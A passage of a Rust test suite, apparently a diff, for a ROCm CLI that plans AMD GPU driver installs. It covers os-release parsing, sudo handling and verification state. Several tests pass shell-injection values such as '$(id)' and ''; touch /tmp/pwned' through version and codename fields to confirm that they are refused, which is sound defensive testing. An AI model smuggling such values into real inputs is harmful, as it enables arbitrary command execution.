NAME=value." - ); - assert!(!plan.supported); - assert!(plan.commands.is_empty(), "{:?}", plan.commands); - assert_eq!(plan.policy, "unreadable_os_release"); - // Nothing about the distro is claimed — not the `ubuntu`, `24.04` or - // `noble` the file assigns before the command — and the plan changes - // nothing, so it neither mutates nor needs a reboot. The one check it - // offers is the command that names the line. - assert_eq!( - ( - plan.os_id.as_str(), - plan.version_id.as_str(), - plan.codename.as_str() - ), - ("", "", "") - ); - assert!(!plan.mutating); - assert!(!plan.reboot_required); - assert!( - plan.preflight_checks.is_empty(), - "{:?}", - plan.preflight_checks - ); - assert_eq!(plan.checks, vec!["rocm examine".to_owned()]); - - // The rendered plan says so on one line, and does not also claim the - // distro is unsupported. - let rendered = render_driver_install_plan(&plan, false, true); - assert!( - rendered.contains("reason: /etc/os-release line 4 is not a plain assignment"), - "{rendered}" - ); - assert!(!rendered.contains("AMD-documented"), "{rendered}"); - assert!( - rendered.contains("execution_commands: "), - "{rendered}" - ); - } - - /// `build_driver_install_plan_read` is the one seam `install_driver` hands - /// its `real_os_release()` result to. Both are now one-line delegations - /// to `hardware_root::read_os_release`, so reverting either back to a raw - /// `/etc/os-release` read is a type error here, not a silent regression. - /// This still pins the behaviour at the seam itself: an `OsRelease` that - /// says the fallback path was read plans exactly what a primary-path read - /// with the same content would. - #[test] - fn a_fallback_read_plans_exactly_like_a_primary_read() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let examine = test_examine("linux", false); - let fallback = rocm_core::hardware_root::OsRelease::Found { - path: "/usr/lib/os-release", - text: "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n".to_owned(), - }; - let primary = rocm_core::hardware_root::OsRelease::Found { - path: "/etc/os-release", - text: "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n".to_owned(), - }; - - let from_fallback = - build_driver_install_plan_read(&examine, &fallback, true, PrivilegeEscalation::Sudo); - let from_primary = - build_driver_install_plan_read(&examine, &primary, true, PrivilegeEscalation::Sudo); - assert_eq!(from_fallback.os_id, "ubuntu"); - assert_eq!( - ( - from_fallback.os_id.clone(), - from_fallback.version_id.clone(), - from_fallback.codename.clone(), - from_fallback.reason.clone(), - from_fallback.execution_commands(), - ), - ( - from_primary.os_id.clone(), - from_primary.version_id.clone(), - from_primary.codename.clone(), - from_primary.reason.clone(), - from_primary.execution_commands(), - ), - ); - } - - /// A file that exists but could not be read plans nothing and names - /// itself, distinctly from both an unreadable *line* (which still comes - /// from a file that was read, see - /// [`an_unreadable_os_release_names_its_line_and_plans_nothing`]) and from - /// an unsupported distribution — which would send the user looking for a - /// support gap instead of a filesystem problem. - #[test] - fn an_unreadable_file_plans_nothing_and_names_itself() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let read = rocm_core::hardware_root::OsRelease::Unreadable { - path: "/usr/lib/os-release", - error: std::io::Error::new(std::io::ErrorKind::PermissionDenied, "denied"), - }; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &read, - true, - PrivilegeEscalation::Sudo, - ); - assert_eq!(plan.policy, "unreadable_os_release"); - assert!(!plan.supported); - assert!(plan.commands.is_empty(), "{:?}", plan.commands); - assert_eq!( - plan.reason, - "/usr/lib/os-release could not be read: denied; no driver commands were planned \ - because the distro cannot be read." - ); - } - - /// The unreadable-os-release branch resolves `repo_version_expr` via the - /// same [`resolve_repo_version_expr`] call the normal path uses, before - /// it ever builds an `unreadable_os_release_plan`. A malformed override - /// must still be refused here, not silently dropped because the distro - /// itself could not be identified. - #[test] - fn an_unreadable_os_release_still_refuses_a_malformed_version_override() { - let mut env = ScopedTestEnv::with_amd_overrides_cleared(); - env.set( - "ROCM_CLI_AMDGPU_DRIVER_VERSION", - "'; touch /tmp/pwned; echo '", - ); - let read = rocm_core::hardware_root::OsRelease::Unreadable { - path: "/usr/lib/os-release", - error: std::io::Error::new(std::io::ErrorKind::PermissionDenied, "denied"), - }; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &read, - true, - PrivilegeEscalation::Sudo, - ); - assert!(!plan.supported); - assert_eq!(plan.policy, "invalid_driver_version_override"); - assert!( - !plan.mutating, - "a refused override must not claim to mutate" - ); - assert!(plan.reason.contains("ROCM_CLI_AMDGPU_DRIVER_VERSION")); - assert!(plan.commands.is_empty()); - } - - /// The same malformed line as - /// [`an_unreadable_os_release_names_its_line_and_plans_nothing`], but read - /// through the fallback path: the reason must name `/usr/lib/os-release`, - /// not `/etc/os-release`. That test only exercises - /// [`os_release_found`]'s hardcoded `/etc/os-release` path, so a - /// regression that hardcoded the path back into - /// `build_driver_install_plan_read` would still pass it. - #[test] - fn a_fallback_reads_malformed_line_names_the_fallback_path() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let read = rocm_core::hardware_root::OsRelease::Found { - path: "/usr/lib/os-release", - text: "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\nunset ID\n".to_owned(), - }; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &read, - true, - PrivilegeEscalation::Sudo, - ); - assert_eq!( - plan.reason, - "/usr/lib/os-release line 4 is not a plain assignment: \"unset ID\"; no driver \ - commands were planned because the distro cannot be read. To fix it, remove \ - that line or rewrite it as NAME=value." - ); - assert!(!plan.supported); - assert!(plan.commands.is_empty(), "{:?}", plan.commands); - assert_eq!(plan.policy, "unreadable_os_release"); - } - - /// On WSL, `build_driver_install_plan_read`'s `Unreadable` branch must - /// not fire at all: WSL has its own guest-side os-release probe (see - /// `examine/wsl.rs`'s `WSL_REMOTE_PROBE`), so the local Rust-side read this - /// function receives is never authoritative for a WSL host, and the plan - /// must stay the ordinary `wsl_rocdxg` one — not `unreadable_os_release` — - /// regardless of what it says. Without the `reaches_os_release_parse` - /// guard this would plan nothing on a WSL host whose local read happens - /// to come back `Unreadable`, even though the guest-side probe may read - /// the distro just fine. - #[test] - fn a_wsl_host_ignores_an_unreadable_local_os_release_read() { - let _env = scoped_rocdxg_env(); - let read = rocm_core::hardware_root::OsRelease::Unreadable { - path: "/usr/lib/os-release", - error: std::io::Error::new(std::io::ErrorKind::PermissionDenied, "denied"), - }; - let plan = build_driver_install_plan_read( - &test_examine("linux", true), - &read, - true, - PrivilegeEscalation::Sudo, - ); - assert_eq!(plan.policy, "wsl_rocdxg"); - assert!(plan.supported); - assert!(plan.mutating); - } - - /// The Windows half of the same `reaches_os_release_parse` guard: a - /// native Windows host's driver install is `windows_validate_only` - /// regardless of what the local read says, since the Linux driver - /// install this plan guards is never attempted there. Without this half - /// of the guard, a Windows host whose `real_os_release()` happens to come - /// back `Unreadable` would wrongly take the Linux-only - /// `unreadable_os_release` policy instead. - #[test] - fn a_windows_host_ignores_an_unreadable_local_os_release_read() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let read = rocm_core::hardware_root::OsRelease::Unreadable { - path: "/usr/lib/os-release", - error: std::io::Error::new(std::io::ErrorKind::PermissionDenied, "denied"), - }; - let plan = build_driver_install_plan_read( - &test_examine("windows", false), - &read, - true, - PrivilegeEscalation::Sudo, - ); - assert_eq!(plan.policy, "windows_validate_only"); - assert!(!plan.supported); - assert!(!plan.mutating); - } - - /// With a duplicated key, the plan is built from the last assignment — the - /// one a shell keeps, and the one `rocm examine` reports, since both read - /// through `rocm_core::os_release`. - #[test] - fn a_duplicated_os_release_key_is_planned_from_its_last_assignment() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let text = "ID=debian\nVERSION_ID=\"12\"\nID=ubuntu\nVERSION_ID=\"24.04\"\n\ - VERSION_CODENAME=noble\n"; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(text), - true, - PrivilegeEscalation::Sudo, - ); - assert_eq!( - (plan.os_id.as_str(), plan.version_id.as_str()), - ("ubuntu", "24.04"), - "planned for the first assignment instead of the last" - ); - assert!(plan.supported, "{}", plan.reason); - } - - #[test] - fn driver_plan_as_root_never_emits_sudo() { - // The defect: every command was prefixed `sudo` unconditionally, so on a - // root host without the binary the first one died with `sudo: not found` - // before any driver work. This asserts the ABSENCE of `sudo` across every - // distro rather than checking known commands one by one — a templating - // site missed on some distro fails here instead of shipping. - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - for (label, os_release) in dkms_planning_os_releases() { - let commands = plan_commands(os_release, PrivilegeEscalation::AlreadyRoot); - assert!( - !commands.is_empty(), - "{label}: expected a dkms plan to emit commands" - ); - for command in &commands { - assert!( - !command.contains("sudo"), - "{label}: a plan built as root must not invoke sudo, got `{command}`" - ); - } - } - } - - #[test] - fn driver_plan_off_root_still_escalates_every_privileged_command() { - // The other half of the contract: dropping `sudo` when root must not drop - // it when a normal user runs the same plan. Verify-phase commands are - // read-only probes and are deliberately unprivileged, so only the - // mutating phases are required to escalate. - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - for (label, os_release) in dkms_planning_os_releases() { - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let privileged: Vec<&DriverPlanCommand> = plan - .commands - .iter() - .filter(|command| { - matches!( - command.phase, - DriverCommandPhase::Prepare | DriverCommandPhase::Execute - ) - }) - .collect(); - assert!(!privileged.is_empty(), "{label}: expected privileged steps"); - for command in privileged { - assert!( - command.command.contains("sudo "), - "{label}: a plan built off root must escalate, got `{}`", - command.command - ); - } - } - } - - #[test] - fn driver_plan_as_root_keeps_shell_pipelines_intact() { - // `sudo` also appears mid-pipeline (`| sudo tee`, `| sudo gpg`), which a - // naive "strip a leading prefix" fix would miss. The pipeline must survive - // with the escalation removed from the right-hand side only. - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let ubuntu = "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n"; - let commands = plan_commands(ubuntu, PrivilegeEscalation::AlreadyRoot); - assert!( - commands - .iter() - .any(|command| command.contains("| tee /etc/apt/sources.list.d/amdgpu.list")), - "the apt-source pipeline must still tee, unprefixed: {commands:?}" - ); - assert!( - commands.iter().any(|command| command - .contains("| gpg --batch --yes --dearmor -o /etc/apt/keyrings/rocm.gpg")), - "the keyring pipeline must still call gpg, unprefixed: {commands:?}" - ); - } - - #[test] - fn driver_plan_records_the_commands_it_will_actually_run() { - // `execution_commands()` is what lands in state.json. It must agree with - // the escalation the plan was built under, or the recorded history - // describes commands that never ran. - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let ubuntu = "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n"; - let as_root = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(ubuntu), - true, - PrivilegeEscalation::AlreadyRoot, - ); - assert!( - as_root - .execution_commands() - .iter() - .all(|command| !command.contains("sudo")), - "state.json must not record sudo commands for a root run" - ); - let off_root = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(ubuntu), - true, - PrivilegeEscalation::Sudo, - ); - assert!( - off_root - .execution_commands() - .iter() - .all(|command| command.contains("sudo ")), - "state.json must record the sudo commands a non-root run performs" - ); - } - - #[test] - fn driver_plan_as_root_drops_the_sudo_binary_precondition() { - // The preflight claimed `sudo` must be installed even when the plan no - // longer uses it — the same contradiction the bug report called out - // between the stated preconditions and what execution actually did. - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - for (label, os_release) in dkms_planning_os_releases() { - let as_root = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::AlreadyRoot, - ); - assert!( - !as_root - .preflight_checks - .iter() - .any(|check| check.contains("`sudo` command is available")), - "{label}: a root plan must not require a sudo binary: {:?}", - as_root.preflight_checks - ); - let off_root = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - assert!( - off_root - .preflight_checks - .iter() - .any(|check| check.contains("`sudo` command is available")), - "{label}: a non-root plan still depends on a sudo binary" - ); - } - } - - #[test] - fn resolve_shell_default_template_uses_default_when_env_unset() { - let _env = ScopedTestEnv::new(); - // A made-up variable name that nothing else sets, cleared under the lock, - // isolates the default path. - assert_eq!( - resolve_shell_default_template("${ROCM_CLI_TEST_UNSET_REPO_VERSION:-7.2.4}"), - "7.2.4" - ); - } - - #[test] - fn resolve_shell_default_template_prefers_env_value_when_set() { - let mut env = ScopedTestEnv::new(); - let var = "ROCM_CLI_TEST_REPO_VERSION_OVERRIDE"; - env.set(var, "9.9.9"); - assert_eq!( - resolve_shell_default_template(&format!("${{{var}:-7.2.4}}")), - "9.9.9" - ); - } - - #[test] - fn resolve_shell_default_template_treats_empty_env_as_unset() { - let mut env = ScopedTestEnv::new(); - let var = "ROCM_CLI_TEST_REPO_VERSION_EMPTY"; - env.set(var, ""); - assert_eq!( - resolve_shell_default_template(&format!("${{{var}:-7.2.4}}")), - "7.2.4" - ); - } - - #[test] - fn resolve_shell_default_template_passes_through_non_template() { - assert_eq!(resolve_shell_default_template("7.2.4"), "7.2.4"); - } - - #[test] - fn resolve_shell_default_template_leaves_bare_var_untouched() { - let _env = ScopedTestEnv::new(); - // No `:-default`, so there is nothing to resolve to; the input must pass - // through unchanged rather than being partially rewritten. - assert_eq!( - resolve_shell_default_template("${ROCM_CLI_TEST_UNSET_REPO_VERSION}"), - "${ROCM_CLI_TEST_UNSET_REPO_VERSION}" - ); - } - - #[test] - fn resolve_shell_default_template_leaves_nested_default_untouched() { - let _env = ScopedTestEnv::new(); - // A nested default is beyond the flat matcher; returning the literal - // input keeps a `${B:-x}` fragment from leaking as a "resolved" value. - assert_eq!( - resolve_shell_default_template("${ROCM_CLI_TEST_UNSET_A:-${ROCM_CLI_TEST_UNSET_B:-x}}"), - "${ROCM_CLI_TEST_UNSET_A:-${ROCM_CLI_TEST_UNSET_B:-x}}" - ); - } - - #[test] - fn driver_plan_dry_run_repo_version_line_is_resolved() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // Regression for the dry-run output leaking the wrong field (or, under - // the old shell-template scheme this replaced, a raw unresolved - // placeholder) on the `repo_version:` line instead of the version the - // plan actually resolved. - let os_release = r#" -ID=rhel -VERSION_ID="9.7" -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, true); - - assert!(rendered.contains(" repo_version: latest"), "{rendered}"); - } - - #[test] - fn driver_plan_ubuntu_2404_uses_official_dkms_commands() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=ubuntu -VERSION_ID="24.04" -VERSION_CODENAME=noble -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let commands = plan - .commands - .iter() - .map(|command| command.command.as_str()) - .collect::>(); - - assert!(plan.supported); - assert!(plan.mutating); - assert_eq!(plan.policy, "linux_official_amd_dkms_wrapper"); - assert!( - plan.preflight_checks - .iter() - .any(|check| check.contains("sudo -v")) - ); - assert!( - commands - .iter() - .any(|command| command.contains("linux-headers-$(uname -r)")) - ); - assert!( - commands - .iter() - .any(|command| command.contains("linux-modules-extra-$(uname -r)")) - ); - assert!( - commands - .iter() - .any(|command| command.contains("repo.radeon.com/amdgpu")) - ); - assert!( - commands - .iter() - .any(|command| command.contains("amdgpu-dkms")) - ); - let rendered = render_driver_install_plan(&plan, false, false); - assert!(rendered.contains("approval: required")); - assert!(rendered.contains("preflight_checks:")); - assert!(rendered.contains("root access: run as root, or ensure `sudo -v` succeeds")); - assert!(rendered.contains("execution_commands:")); - assert!(rendered.contains("Prepare: sudo apt-get update")); - assert!(rendered.contains("Execute: sudo apt-get install -y amdgpu-dkms")); - assert!(rendered.contains("post_reboot_check_commands:")); - assert!(rendered.contains("dkms status amdgpu")); - assert!(rendered.contains("rerun with --yes")); - } - - #[test] - fn driver_plan_executor_runs_verify_after_execute() -> Result<()> { - let mut plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - plan.commands = vec![ - driver_command(DriverCommandPhase::Prepare, "prepare"), - driver_command(DriverCommandPhase::Execute, "execute"), - driver_command(DriverCommandPhase::Verify, "verify"), - ]; - let mut state = DriverInstallState { - approved_at_unix_ms: 1, - executed_at_unix_ms: None, - pre_driver: test_examine("linux", true).driver, - post_driver: None, - boot_id_at_execution: Some("boot".to_owned()), - reboot_required: plan.reboot_required, - reboot_observed: false, - commands: plan.execution_commands(), - reconciled_at_unix_ms: None, - reconciliation: None, - }; - let mut observed = Vec::new(); - - execute_driver_install_plan( - &plan, - &mut state, - |command| { - observed.push(command.to_owned()); - Ok(()) - }, - |_| Ok(()), - || Ok(test_examine("linux", true).driver), - )?; - - assert_eq!(observed, ["prepare", "execute", "verify"]); - assert!(state.executed_at_unix_ms.is_some()); - Ok(()) - } - - #[test] - fn driver_plan_executor_defers_verify_when_reboot_is_required() -> Result<()> { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found("ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n"), - true, - PrivilegeEscalation::Sudo, - ); - assert!(plan.reboot_required); - let expected = plan.execution_commands(); - let verify_commands = plan - .commands - .iter() - .filter(|command| command.phase == DriverCommandPhase::Verify) - .map(|command| command.command.clone()) - .collect::>(); - let mut state = DriverInstallState { - approved_at_unix_ms: 1, - executed_at_unix_ms: None, - pre_driver: test_examine("linux", false).driver, - post_driver: None, - boot_id_at_execution: Some("boot".to_owned()), - reboot_required: plan.reboot_required, - reboot_observed: false, - commands: plan.execution_commands(), - reconciled_at_unix_ms: None, - reconciliation: None, - }; - let mut observed = Vec::new(); - - execute_driver_install_plan( - &plan, - &mut state, - |command| { - observed.push(command.to_owned()); - Ok(()) - }, - |_| Ok(()), - || Ok(test_examine("linux", false).driver), - )?; - - assert_eq!(observed, expected); - assert!( - verify_commands - .iter() - .all(|command| !observed.contains(command)), - "reboot-gated Verify commands must be deferred: {verify_commands:?}" - ); - assert!(state.executed_at_unix_ms.is_some()); - assert!(state.reboot_required); - Ok(()) - } - - #[test] - fn failed_driver_verify_does_not_mark_execution_completed() -> Result<()> { - let (root, paths) = test_paths("driver-verify-failure-state"); - let mut plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - plan.commands = vec![ - driver_command(DriverCommandPhase::Prepare, "prepare"), - driver_command(DriverCommandPhase::Execute, "execute"), - driver_command(DriverCommandPhase::Verify, "verify"), - ]; - let mut state = DriverInstallState { - approved_at_unix_ms: 1, - executed_at_unix_ms: None, - pre_driver: test_examine("linux", true).driver, - post_driver: None, - boot_id_at_execution: Some("boot".to_owned()), - reboot_required: plan.reboot_required, - reboot_observed: false, - commands: plan.execution_commands(), - reconciled_at_unix_ms: None, - reconciliation: None, - }; - write_driver_install_state(&paths, &state)?; - let mut observed = Vec::new(); - let mut gathered = false; - - let error = execute_driver_install_plan( - &plan, - &mut state, - |command| { - observed.push(command.to_owned()); - if command == "verify" { - bail!("verification rejected the install"); - } - Ok(()) - }, - |state| write_driver_install_state(&paths, state), - || { - gathered = true; - Ok(test_examine("linux", true).driver) - }, - ) - .expect_err("failed verification must fail the install"); - let saved = read_driver_install_state(&paths)?.expect("state should remain readable"); - - assert_eq!(observed, ["prepare", "execute", "verify"]); - assert!(error.to_string().contains("driver command failed: verify")); - assert!( - !gathered, - "post-install state must not be gathered after failure" - ); - assert_eq!(state.executed_at_unix_ms, None); - assert!(state.post_driver.is_none()); - assert_eq!(saved.executed_at_unix_ms, None); - assert!(saved.post_driver.is_none()); - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn failed_post_driver_gather_keeps_executed_state_persisted() -> Result<()> { - let (root, paths) = test_paths("driver-gather-failure-state"); - let mut plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - plan.commands = vec![ - driver_command(DriverCommandPhase::Prepare, "prepare"), - driver_command(DriverCommandPhase::Execute, "execute"), - driver_command(DriverCommandPhase::Verify, "verify"), - ]; - let mut state = DriverInstallState { - approved_at_unix_ms: 1, - executed_at_unix_ms: None, - pre_driver: test_examine("linux", true).driver, - post_driver: None, - boot_id_at_execution: Some("boot".to_owned()), - reboot_required: plan.reboot_required, - reboot_observed: false, - commands: plan.execution_commands(), - reconciled_at_unix_ms: None, - reconciliation: None, - }; - write_driver_install_state(&paths, &state)?; - - let error = execute_driver_install_plan( - &plan, - &mut state, - |_| Ok(()), - |state| write_driver_install_state(&paths, state), - || bail!("post-driver gather failed"), - ) - .expect_err("a post-driver gather failure must still fail the install"); - let saved = read_driver_install_state(&paths)?.expect("state should remain readable"); - - assert!(error.to_string().contains("post-driver gather failed")); - assert!(saved.executed_at_unix_ms.is_some()); - assert!(saved.post_driver.is_none()); - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn driver_plan_ubuntu_2604_plans_the_dkms_flow_with_the_resolute_suite() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=ubuntu -VERSION_ID="26.04" -VERSION_CODENAME=resolute -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - assert!(plan.mutating); - assert_eq!(plan.policy, "linux_official_amd_dkms_wrapper"); - assert_eq!(plan.codename, "resolute"); - assert!(rendered.contains("https://repo.radeon.com/amdgpu/latest/ubuntu resolute main")); - assert!(rendered.contains("Execute: sudo apt-get install -y amdgpu-dkms")); - assert!(plan.reboot_required); - } - - #[test] - fn driver_plan_ubuntu_2604_root_drops_sudo() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=ubuntu -VERSION_ID="26.04" -VERSION_CODENAME=resolute -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::AlreadyRoot, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(rendered.contains("Execute: apt-get install -y amdgpu-dkms")); - assert!(plan.commands.iter().all(|c| !c.command.contains("sudo"))); - } - - #[test] - fn driver_plan_ubuntu_2604_falls_back_to_resolute_codename() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // No VERSION_CODENAME/UBUNTU_CODENAME in os-release: codename_for_version - // must supply "resolute" on its own. - let os_release = r#" -ID=ubuntu -VERSION_ID="26.04" -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - - assert_eq!(plan.codename, "resolute"); - assert!(plan.supported); - assert_eq!(plan.policy, "linux_official_amd_dkms_wrapper"); - } - - #[test] - fn driver_plan_apt_warns_about_a_previous_amdgpu_dkms_without_removing_it() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=ubuntu -VERSION_ID="24.04" -VERSION_CODENAME=noble -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let first = &plan - .commands - .first() - .expect("apt plan has commands") - .command; - - // Detection runs before anything else, and only echoes: removal stays - // the user's call. Behavior is proven end to end by running the - // command against a stubbed dpkg-query in - // `previous_driver_warning_fires_only_when_amdgpu_dkms_is_installed`. - assert!(first.contains("dpkg-query")); - assert!(first.contains("sudo apt-get autoremove -y amdgpu-dkms")); - assert!( - !plan - .commands - .iter() - .skip(1) - .any(|c| c.command.contains("autoremove")) - ); - assert!(plan.reason.contains("only warns")); - assert!(first.contains("continuing anyway")); - assert!( - !plan - .preflight_checks - .iter() - .any(|check| check.contains("amdgpu-dkms")) - ); - } - - #[cfg(unix)] - #[test] - fn previous_driver_warning_fires_only_when_amdgpu_dkms_is_installed() { - use std::os::unix::fs::PermissionsExt; - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n"; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::AlreadyRoot, - ); - let command = &plan.commands[0].command; - let dir = tempfile::tempdir().unwrap(); - let root = dir.path().to_path_buf(); - let run = |status: &str| { - let stub = root.join("dpkg-query"); - fs::write(&stub, format!("#!/bin/sh\nprintf '%s' '{status}'\n")).unwrap(); - fs::set_permissions(&stub, fs::Permissions::from_mode(0o755)).unwrap(); - let out = ProcessCommand::new("sh") - .args(["-c", command]) - .env("PATH", format!("{}:/usr/bin:/bin", root.display())) - .output() - .unwrap(); - assert!(out.status.success()); - String::from_utf8_lossy(&out.stdout).into_owned() - }; - assert!(run("install ok installed").contains("warning: amdgpu-dkms")); - assert!(run("").is_empty()); - } - - #[cfg(unix)] - #[test] - fn driver_plan_rejects_a_non_utf8_version_override() { - // `std::env::var` reports a non-UTF-8 value as `Err(VarError::NotUnicode)`, - // which `resolve_repo_version_expr` must not fold into the - // `NotPresent`/empty "unset" case -- that would silently use "latest" - // for a user who explicitly set this to something. - use std::os::unix::ffi::OsStrExt; - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let invalid = std::ffi::OsStr::from_bytes(&[0x66, 0xFF, 0x66]); - #[allow(unsafe_code)] // std::env::set_var is unsafe in edition 2024 - unsafe { - std::env::set_var("ROCM_CLI_AMDGPU_DRIVER_VERSION", invalid); - } - let os_release = r#" -ID=ubuntu -VERSION_ID="24.04" -VERSION_CODENAME=noble -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - - assert!(!plan.supported); - assert_eq!(plan.policy, "invalid_driver_version_override"); - assert!( - !plan.mutating, - "a refused override must not claim to mutate" - ); - assert!(plan.reason.contains("ROCM_CLI_AMDGPU_DRIVER_VERSION")); - assert!(plan.commands.is_empty()); - } - - #[test] - fn driver_plan_rejects_shell_metacharacters_in_version_override() { - let mut env = ScopedTestEnv::with_amd_overrides_cleared(); - env.set( - "ROCM_CLI_AMDGPU_DRIVER_VERSION", - "'; touch /tmp/pwned; echo '", - ); - let os_release = r#" -ID=ubuntu -VERSION_ID="24.04" -VERSION_CODENAME=noble -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - - assert!(!plan.supported); - assert_eq!(plan.policy, "invalid_driver_version_override"); - assert!( - !plan.mutating, - "a refused override must not claim to mutate" - ); - assert!(plan.reason.contains("ROCM_CLI_AMDGPU_DRIVER_VERSION")); - // Already proves no command can contain "pwned": a vacuous check over - // commands would be redundant with this. - assert!(plan.commands.is_empty()); - } - - #[test] - fn driver_plan_rejects_a_space_free_shell_injection_payload() { - // The metacharacter test above uses a payload full of spaces, which - // `is_safe_shell_token` already rejects on its own -- so it proves - // nothing about whether `$`, backticks, or `()` are actually in the - // denylist. Use a payload with no spaces at all so the rejection can - // only come from the metacharacters themselves. - let mut env = ScopedTestEnv::with_amd_overrides_cleared(); - env.set("ROCM_CLI_AMDGPU_DRIVER_VERSION", "$(id)"); - let os_release = r#" -ID=ubuntu -VERSION_ID="24.04" -VERSION_CODENAME=noble -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - - assert!(!plan.supported); - assert_eq!(plan.policy, "invalid_driver_version_override"); - assert!( - !plan.mutating, - "a refused override must not claim to mutate" - ); - assert!(plan.commands.is_empty()); - } - - #[test] - fn driver_plan_treats_empty_version_override_as_unset() { - let mut env = ScopedTestEnv::with_amd_overrides_cleared(); - env.set("ROCM_CLI_AMDGPU_DRIVER_VERSION", ""); - let os_release = r#" -ID=ubuntu -VERSION_ID="24.04" -VERSION_CODENAME=noble -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - - assert_ne!(plan.policy, "invalid_driver_version_override"); - assert_eq!(plan.repo_version_expr, "latest"); - } - - #[test] - fn driver_plan_accepts_a_valid_version_override_and_uses_it_in_the_url() { - let mut env = ScopedTestEnv::with_amd_overrides_cleared(); - env.set("ROCM_CLI_AMDGPU_DRIVER_VERSION", "30.10"); - let os_release = r#" -ID=ubuntu -VERSION_ID="24.04" -VERSION_CODENAME=noble -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert_eq!(plan.repo_version_expr, "30.10"); - assert!(rendered.contains("amdgpu/30.10/")); - } - - #[test] - fn driver_plan_falls_back_on_a_hostile_codename() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=ubuntu -VERSION_ID="24.04" -VERSION_CODENAME='; touch /tmp/pwned; echo ' -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - - assert_eq!(plan.codename, "noble"); - assert!( - plan.commands - .iter() - .all(|command| !command.command.contains("pwned")) - ); - } - - #[test] - fn driver_plan_falls_back_on_a_malformed_version_id() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=ubuntu -VERSION_ID="24.04'; touch /tmp/pwned; echo '" -VERSION_CODENAME=noble -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - - assert_eq!(plan.version_id, ""); - assert!(!plan.supported); - assert!( - plan.commands - .iter() - .all(|command| !command.command.contains("pwned")) - ); - } - - #[test] - 